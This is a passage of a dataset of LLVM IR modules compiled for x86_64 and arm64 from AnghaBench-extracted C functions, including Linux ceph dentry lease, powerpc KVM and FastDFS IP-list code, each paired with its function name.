"no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 24} !11 = !{!"snd_ctl_elem_info", !7, i64 0, !12, i64 8, !7, i64 24} !12 = !{!"TYPE_4__", !13, i64 0} !13 = !{!"TYPE_3__", !7, i64 0, !14, i64 8} !14 = !{!"long", !8, i64 0} !15 = !{!11, !7, i64 0} !16 = !{!11, !14, i64 16} !17 = !{!11, !7, i64 8}
fastsocket_kernel_sound_pci_oxygen_extr_oxygen_mixer.c_monitor_volume_info
; ModuleID = 'AnghaBench/linux/fs/ceph/extr_inode.c_update_dentry_lease_careful.c' source_filename = "AnghaBench/linux/fs/ceph/extr_inode.c_update_dentry_lease_careful.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.dentry = type { i32, ptr, %struct.TYPE_2__ } %struct.TYPE_2__ = type { i64, i32 } @llvm.compiler.used = appending global [1 x ptr] [ptr @update_dentry_lease_careful], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @update_dentry_lease_careful(ptr noundef %0, ptr noundef %1, ptr noundef %2, i64 noundef %3, ptr noundef %4, i64 noundef %5, ptr noundef %6, ptr noundef %7) #0 { %9 = alloca ptr, align 8 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %9) #3 store ptr null, ptr %9, align 8, !tbaa !5 %10 = tail call i32 @spin_lock(ptr noundef %0) #3 %11 = getelementptr inbounds %struct.dentry, ptr %0, i64 0, i32 2 %12 = load i64, ptr %11, align 8, !tbaa !9 %13 = icmp eq i64 %12, %5 br i1 %13, label %14, label %39 14: ; preds = %8 %15 = getelementptr inbounds %struct.dentry, ptr %0, i64 0, i32 2, i32 1 %16 = load i32, ptr %15, align 8, !tbaa !14 %17 = tail call i64 @memcmp(i32 noundef %16, ptr noundef %4, i64 noundef %5) #3 %18 = icmp eq i64 %17, 0 br i1 %18, label %19, label %39 19: ; preds = %14 %20 = getelementptr inbounds %struct.dentry, ptr %0, i64 0, i32 1 %21 = load ptr, ptr %20, align 8, !tbaa !15 %22 = tail call ptr @d_inode(ptr noundef %21) #3 %23 = tail call i32 @ceph_ino_compare(ptr noundef %22, ptr noundef %6) #3 %24 = icmp eq i32 %23, 0 br i1 %24, label %39, label %25 25: ; preds = %19 %26 = icmp eq ptr %7, null br i1 %26, label %34, label %27 27: ; preds = %25 %28 = tail call i64 @d_really_is_negative(ptr noundef nonnull %0) #3 %29 = icmp eq i64 %28, 0 br i1 %29, label %30, label %39 30: ; preds = %27 %31 = tail call ptr @d_inode(ptr noundef nonnull %0) #3 %32 = tail call i32 @ceph_ino_compare(ptr noundef %31, ptr noundef nonnull %7) #3 %33 = icmp eq i32 %32, 0 br i1 %33, label %39, label %37 34: ; preds = %25 %35 = tail call i64 @d_really_is_positive(ptr noundef nonnull %0) #3 %36 = icmp eq i64 %35, 0 br i1 %36, label %37, label %39 37: ; preds = %34, %30 %38 = call i32 @__update_dentry_lease(ptr noundef %22, ptr noundef nonnull %0, ptr noundef %1, ptr noundef %2, i64 noundef %3, ptr noundef nonnull %9) #3 br label %39 39: ; preds = %34, %30, %27, %19, %8, %14, %37 %40 = call i32 @spin_unlock(ptr noundef nonnull %0) #3 %41 = load ptr, ptr %9, align 8, !tbaa !5 %42 = icmp eq ptr %41, null br i1 %42, label %45, label %43 43: ; preds = %39 %44 = call i32 @ceph_put_mds_session(ptr noundef nonnull %41) #3 br label %45 45: ; preds = %43, %39 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %9) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @spin_lock(ptr noundef) local_unnamed_addr #2 declare i64 @memcmp(i32 noundef, ptr noundef, i64 noundef) local_unnamed_addr #2 declare ptr @d_inode(ptr noundef) local_unnamed_addr #2 declare i32 @ceph_ino_compare(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i64 @d_really_is_negative(ptr noundef) local_unnamed_addr #2 declare i64 @d_really_is_positive(ptr noundef) local_unnamed_addr #2 declare i32 @__update_dentry_lease(ptr noundef, ptr noundef, ptr noundef, ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @spin_unlock(ptr noundef) local_unnamed_addr #2 declare i32 @ceph_put_mds_session(ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !13, i64 16} !10 = !{!"dentry", !11, i64 0, !6, i64 8, !12, i64 16} !11 = !{!"int", !7, i64 0} !12 = !{!"TYPE_2__", !13, i64 0, !11, i64 8} !13 = !{!"long", !7, i64 0} !14 = !{!10, !11, i64 24} !15 = !{!10, !6, i64 8}
; ModuleID = 'AnghaBench/linux/fs/ceph/extr_inode.c_update_dentry_lease_careful.c' source_filename = "AnghaBench/linux/fs/ceph/extr_inode.c_update_dentry_lease_careful.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @update_dentry_lease_careful], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @update_dentry_lease_careful(ptr noundef %0, ptr noundef %1, ptr noundef %2, i64 noundef %3, ptr noundef %4, i64 noundef %5, ptr noundef %6, ptr noundef %7) #0 { %9 = alloca ptr, align 8 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %9) #3 store ptr null, ptr %9, align 8, !tbaa !6 %10 = tail call i32 @spin_lock(ptr noundef %0) #3 %11 = getelementptr inbounds i8, ptr %0, i64 16 %12 = load i64, ptr %11, align 8, !tbaa !10 %13 = icmp eq i64 %12, %5 br i1 %13, label %14, label %39 14: ; preds = %8 %15 = getelementptr inbounds i8, ptr %0, i64 24 %16 = load i32, ptr %15, align 8, !tbaa !15 %17 = tail call i64 @memcmp(i32 noundef %16, ptr noundef %4, i64 noundef %5) #3 %18 = icmp eq i64 %17, 0 br i1 %18, label %19, label %39 19: ; preds = %14 %20 = getelementptr inbounds i8, ptr %0, i64 8 %21 = load ptr, ptr %20, align 8, !tbaa !16 %22 = tail call ptr @d_inode(ptr noundef %21) #3 %23 = tail call i32 @ceph_ino_compare(ptr noundef %22, ptr noundef %6) #3 %24 = icmp eq i32 %23, 0 br i1 %24, label %39, label %25 25: ; preds = %19 %26 = icmp eq ptr %7, null br i1 %26, label %34, label %27 27: ; preds = %25 %28 = tail call i64 @d_really_is_negative(ptr noundef nonnull %0) #3 %29 = icmp eq i64 %28, 0 br i1 %29, label %30, label %39 30: ; preds = %27 %31 = tail call ptr @d_inode(ptr noundef nonnull %0) #3 %32 = tail call i32 @ceph_ino_compare(ptr noundef %31, ptr noundef nonnull %7) #3 %33 = icmp eq i32 %32, 0 br i1 %33, label %39, label %37 34: ; preds = %25 %35 = tail call i64 @d_really_is_positive(ptr noundef nonnull %0) #3 %36 = icmp eq i64 %35, 0 br i1 %36, label %37, label %39 37: ; preds = %34, %30 %38 = call i32 @__update_dentry_lease(ptr noundef %22, ptr noundef nonnull %0, ptr noundef %1, ptr noundef %2, i64 noundef %3, ptr noundef nonnull %9) #3 br label %39 39: ; preds = %34, %30, %27, %19, %8, %14, %37 %40 = call i32 @spin_unlock(ptr noundef nonnull %0) #3 %41 = load ptr, ptr %9, align 8, !tbaa !6 %42 = icmp eq ptr %41, null br i1 %42, label %45, label %43 43: ; preds = %39 %44 = call i32 @ceph_put_mds_session(ptr noundef nonnull %41) #3 br label %45 45: ; preds = %43, %39 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %9) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @spin_lock(ptr noundef) local_unnamed_addr #2 declare i64 @memcmp(i32 noundef, ptr noundef, i64 noundef) local_unnamed_addr #2 declare ptr @d_inode(ptr noundef) local_unnamed_addr #2 declare i32 @ceph_ino_compare(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i64 @d_really_is_negative(ptr noundef) local_unnamed_addr #2 declare i64 @d_really_is_positive(ptr noundef) local_unnamed_addr #2 declare i32 @__update_dentry_lease(ptr noundef, ptr noundef, ptr noundef, ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @spin_unlock(ptr noundef) local_unnamed_addr #2 declare i32 @ceph_put_mds_session(ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !14, i64 16} !11 = !{!"dentry", !12, i64 0, !7, i64 8, !13, i64 16} !12 = !{!"int", !8, i64 0} !13 = !{!"TYPE_2__", !14, i64 0, !12, i64 8} !14 = !{!"long", !8, i64 0} !15 = !{!11, !12, i64 24} !16 = !{!11, !7, i64 8}
linux_fs_ceph_extr_inode.c_update_dentry_lease_careful
; ModuleID = 'AnghaBench/linux/arch/powerpc/kvm/extr_book3s_hv_rm_xics.c_grab_next_hostcore.c' source_filename = "AnghaBench/linux/arch/powerpc/kvm/extr_book3s_hv_rm_xics.c_grab_next_hostcore.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.kvmppc_host_rm_core = type { %struct.TYPE_2__ } %struct.TYPE_2__ = type { i32 } @llvm.compiler.used = appending global [1 x ptr] [ptr @grab_next_hostcore], section "llvm.metadata" ; Function Attrs: inlinehint nounwind uwtable define internal noundef i32 @grab_next_hostcore(i32 noundef %0, ptr nocapture noundef readonly %1, i32 noundef %2, i32 %3) #0 { %5 = add nsw i32 %0, 1 %6 = icmp slt i32 %5, %2 br i1 %6, label %7, label %18 7: ; preds = %4 %8 = sext i32 %0 to i64 %9 = add nsw i64 %8, 1 br label %10 10: ; preds = %7, %10 %11 = phi i64 [ %9, %7 ], [ %15, %10 ] %12 = getelementptr inbounds %struct.kvmppc_host_rm_core, ptr %1, i64 %11 %13 = load i32, ptr %12, align 4 %14 = tail call i64 @READ_ONCE(i32 %13) #2 %15 = add nsw i64 %11, 1 %16 = trunc i64 %15 to i32 %17 = icmp eq i32 %16, %2 br i1 %17, label %18, label %10, !llvm.loop !5 18: ; preds = %10, %4 ret i32 -1 } declare i64 @READ_ONCE(i32) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = distinct !{!5, !6} !6 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/linux/arch/powerpc/kvm/extr_book3s_hv_rm_xics.c_grab_next_hostcore.c' source_filename = "AnghaBench/linux/arch/powerpc/kvm/extr_book3s_hv_rm_xics.c_grab_next_hostcore.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.kvmppc_host_rm_core = type { %struct.TYPE_2__ } %struct.TYPE_2__ = type { i32 } @llvm.used = appending global [1 x ptr] [ptr @grab_next_hostcore], section "llvm.metadata" ; Function Attrs: inlinehint nounwind ssp uwtable(sync) define internal noundef range(i32 -2147483647, -2147483648) i32 @grab_next_hostcore(i32 noundef %0, ptr nocapture noundef readonly %1, i32 noundef %2, i32 %3) #0 { %5 = add nsw i32 %0, 1 %6 = icmp slt i32 %5, %2 br i1 %6, label %7, label %19 7: ; preds = %4 %8 = sext i32 %0 to i64 %9 = add nsw i64 %8, 1 br label %10 10: ; preds = %7, %10 %11 = phi i64 [ %9, %7 ], [ %16, %10 ] %12 = getelementptr inbounds %struct.kvmppc_host_rm_core, ptr %1, i64 %11 %13 = load i32, ptr %12, align 4 %14 = zext i32 %13 to i64 %15 = tail call i64 @READ_ONCE(i64 %14) #2 %16 = add nsw i64 %11, 1 %17 = trunc i64 %16 to i32 %18 = icmp eq i32 %17, %2 br i1 %18, label %19, label %10, !llvm.loop !6 19: ; preds = %10, %4 ret i32 -1 } declare i64 @READ_ONCE(i64) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
linux_arch_powerpc_kvm_extr_book3s_hv_rm_xics.c_grab_next_hostcore
; ModuleID = 'AnghaBench/fastdfs/storage/extr_storage_global.c_storage_insert_ip_addr_to_multi_ips.c' source_filename = "AnghaBench/fastdfs/storage/extr_storage_global.c_storage_insert_ip_addr_to_multi_ips.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_5__ = type { i32, ptr } %struct.TYPE_4__ = type { i32, ptr } @EEXIST = dso_local local_unnamed_addr global i32 0, align 4 @ENOSPC = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @storage_insert_ip_addr_to_multi_ips(ptr nocapture noundef %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = load i32, ptr %0, align 8, !tbaa !5 %5 = icmp eq i32 %4, 0 br i1 %5, label %10, label %6 6: ; preds = %3 %7 = icmp sgt i32 %4, 0 br i1 %7, label %8, label %33 8: ; preds = %6 %9 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1 br label %17 10: ; preds = %3 store i32 1, ptr %0, align 8, !tbaa !5 %11 = tail call ptr @fdfs_get_ip_type(ptr noundef %1) #2 %12 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1 %13 = load ptr, ptr %12, align 8, !tbaa !11 %14 = getelementptr inbounds %struct.TYPE_4__, ptr %13, i64 0, i32 1 store ptr %11, ptr %14, align 8, !tbaa !12 %15 = load i32, ptr %13, align 8, !tbaa !14 %16 = tail call i32 @strcpy(i32 noundef %15, ptr noundef %1) #2 br label %49 17: ; preds = %8, %26 %18 = phi i64 [ 0, %8 ], [ %27, %26 ] %19 = load ptr, ptr %9, align 8, !tbaa !11 %20 = getelementptr inbounds %struct.TYPE_4__, ptr %19, i64 %18 %21 = load i32, ptr %20, align 8, !tbaa !14 %22 = tail call i64 @strcmp(i32 noundef %21, ptr noundef %1) #2 %23 = icmp eq i64 %22, 0 br i1 %23, label %24, label %26 24: ; preds = %17 %25 = load i32, ptr @EEXIST, align 4, !tbaa !15 br label %49 26: ; preds = %17 %27 = add nuw nsw i64 %18, 1 %28 = load i32, ptr %0, align 8, !tbaa !5 %29 = sext i32 %28 to i64 %30 = icmp slt i64 %27, %29 br i1 %30, label %17, label %31, !llvm.loop !16 31: ; preds = %26 %32 = trunc i64 %27 to i32 br label %33 33: ; preds = %31, %6 %34 = phi i32 [ 0, %6 ], [ %32, %31 ] %35 = icmp slt i32 %34, %2 br i1 %35, label %38, label %36 36: ; preds = %33 %37 = load i32, ptr @ENOSPC, align 4, !tbaa !15 br label %49 38: ; preds = %33 %39 = tail call ptr @fdfs_get_ip_type(ptr noundef %1) #2 %40 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1 %41 = load ptr, ptr %40, align 8, !tbaa !11 %42 = zext nneg i32 %34 to i64 %43 = getelementptr inbounds %struct.TYPE_4__, ptr %41, i64 %42, i32 1 store ptr %39, ptr %43, align 8, !tbaa !12 %44 = getelementptr inbounds %struct.TYPE_4__, ptr %41, i64 %42 %45 = load i32, ptr %44, align 8, !tbaa !14 %46 = tail call i32 @strcpy(i32 noundef %45, ptr noundef %1) #2 %47 = load i32, ptr %0, align 8, !tbaa !5 %48 = add nsw i32 %47, 1 store i32 %48, ptr %0, align 8, !tbaa !5 br label %49 49: ; preds = %38, %36, %24, %10 %50 = phi i32 [ 0, %10 ], [ %25, %24 ], [ %37, %36 ], [ 0, %38 ] ret i32 %50 } declare ptr @fdfs_get_ip_type(ptr noundef) local_unnamed_addr #1 declare i32 @strcpy(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i64 @strcmp(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_5__", !7, i64 0, !10, i64 8} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!6, !10, i64 8} !12 = !{!13, !10, i64 8} !13 = !{!"TYPE_4__", !7, i64 0, !10, i64 8} !14 = !{!13, !7, i64 0} !15 = !{!7, !7, i64 0} !16 = distinct !{!16, !17} !17 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/fastdfs/storage/extr_storage_global.c_storage_insert_ip_addr_to_multi_ips.c' source_filename = "AnghaBench/fastdfs/storage/extr_storage_global.c_storage_insert_ip_addr_to_multi_ips.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_4__ = type { i32, ptr } @EEXIST = common local_unnamed_addr global i32 0, align 4 @ENOSPC = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @storage_insert_ip_addr_to_multi_ips(ptr nocapture noundef %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = load i32, ptr %0, align 8, !tbaa !6 %5 = icmp eq i32 %4, 0 br i1 %5, label %10, label %6 6: ; preds = %3 %7 = icmp sgt i32 %4, 0 br i1 %7, label %8, label %33 8: ; preds = %6 %9 = getelementptr inbounds i8, ptr %0, i64 8 br label %17 10: ; preds = %3 store i32 1, ptr %0, align 8, !tbaa !6 %11 = tail call ptr @fdfs_get_ip_type(ptr noundef %1) #2 %12 = getelementptr inbounds i8, ptr %0, i64 8 %13 = load ptr, ptr %12, align 8, !tbaa !12 %14 = getelementptr inbounds i8, ptr %13, i64 8 store ptr %11, ptr %14, align 8, !tbaa !13 %15 = load i32, ptr %13, align 8, !tbaa !15 %16 = tail call i32 @strcpy(i32 noundef %15, ptr noundef %1) #2 br label %49 17: ; preds = %8, %26 %18 = phi i64 [ 0, %8 ], [ %27, %26 ] %19 = load ptr, ptr %9, align 8, !tbaa !12 %20 = getelementptr inbounds %struct.TYPE_4__, ptr %19, i64 %18 %21 = load i32, ptr %20, align 8, !tbaa !15 %22 = tail call i64 @strcmp(i32 noundef %21, ptr noundef %1) #2 %23 = icmp eq i64 %22, 0 br i1 %23, label %24, label %26 24: ; preds = %17 %25 = load i32, ptr @EEXIST, align 4, !tbaa !16 br label %49 26: ; preds = %17 %27 = add nuw nsw i64 %18, 1 %28 = load i32, ptr %0, align 8, !tbaa !6 %29 = sext i32 %28 to i64 %30 = icmp slt i64 %27, %29 br i1 %30, label %17, label %31, !llvm.loop !17 31: ; preds = %26 %32 = trunc nuw nsw i64 %27 to i32 br label %33 33: ; preds = %31, %6 %34 = phi i32 [ 0, %6 ], [ %32, %31 ] %35 = icmp slt i32 %34, %2 br i1 %35, label %38, label %36 36: ; preds = %33 %37 = load i32, ptr @ENOSPC, align 4, !tbaa !16 br label %49 38: ; preds = %33 %39 = tail call ptr @fdfs_get_ip_type(ptr noundef %1) #2 %40 = getelementptr inbounds i8, ptr %0, i64 8 %41 = load ptr, ptr %40, align 8, !tbaa !12 %42 = zext nneg i32 %34 to i64 %43 = getelementptr inbounds %struct.TYPE_4__, ptr %41, i64 %42, i32 1 store ptr %39, ptr %43, align 8, !tbaa !13 %44 = getelementptr inbounds %struct.TYPE_4__, ptr %41, i64 %42 %45 = load i32, ptr %44, align 8, !tbaa !15 %46 = tail call i32 @strcpy(i32 noundef %45, ptr noundef %1) #2 %47 = load i32, ptr %0, align 8, !tbaa !6 %48 = add nsw i32 %47, 1 store i32 %48, ptr %0, align 8, !tbaa !6 br label %49 49: ; preds = %38, %36, %24, %10 %50 = phi i32 [ 0, %10 ], [ %25, %24 ], [ %37, %36 ], [ 0, %38 ] ret i32 %50 } declare ptr @fdfs_get_ip_type(ptr noundef) local_unnamed_addr #1 declare i32 @strcpy(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i64 @strcmp(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_5__", !8, i64 0, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!7, !11, i64 8} !13 = !{!14, !11, i64 8} !14 = !{!"TYPE_4__", !8, i64 0, !11, i64 8} !15 = 